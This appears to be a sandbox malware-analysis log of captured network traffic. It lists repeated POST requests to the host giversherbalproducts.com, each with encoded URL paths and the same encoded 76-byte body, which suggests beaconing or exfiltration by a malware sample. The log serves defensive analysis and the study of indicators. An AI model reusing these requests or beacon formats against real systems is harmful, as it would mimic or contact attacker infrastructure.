Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CAsZDz1/MEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HDN9NScAAw8PKwEFMi0/JTI5PEZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DClzfTsJDgA/AicrERgXCHsERX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EgwECwQhMhk+BQkuH38nHQUtIy4GLwpFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CAsZDz1/MEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DClzfTsJDgA/AicrERgXCHsERX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GB0tLyckQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EgwECwQhMhk+BQkuH38nHQUtIy4GLwpFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EgwSFkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GB0tLyckQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CXwgNgIIIXMeeQkPPhYCOUN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fSkCegETcg8VKw95Qn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EgwSFkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CXwgNgIIIXMeeQkPPhYCOUN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ITIYRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fSkCegETcg8VKw95Qn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OhpCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ITIYRX5yeGV9eXNkeWJ8 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DCwZNSYnBRJFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OhpCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MyYYFB8/BgEuIANyGHgkPAMsGDcYQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DCwZNSYnBRJFfnJ4ZX15c2R5Ynw= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/egl7fAgEMAQAAkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MyYYFB8/BgEuIANyGHgkPAMsGDcYQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KQsyKkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/egl7fAgEMAQAAkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Hh8fPwgIJRkuIzgrOjp5HjovOkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KQsyKkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/AjlCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Hh8fPwgIJRkuIzgrOjp5HjovOkZ6c3lifn1yZX5heA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/AjlCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OSdCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/OSdCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HiYFeTpyPng4KCF4Pzk8EQgqOQkgOA0PBUJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HiYFeTpyPng4KCF4Pzk8EQgqOQkgOA0PBUJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JhANAzl6Gw8FBhMABRYGcn9CfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JhANAzl6Gw8FBhMABRYGcn9CfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DRs5e3gJAw4gNkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DRs5e3gJAw4gNkJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/P34KJnkbASUWPzEYIgcWQntyfmF6fHNifWV5 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/P34KJnkbASUWPzEYIgcWQntyfmF6fHNifWV5 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
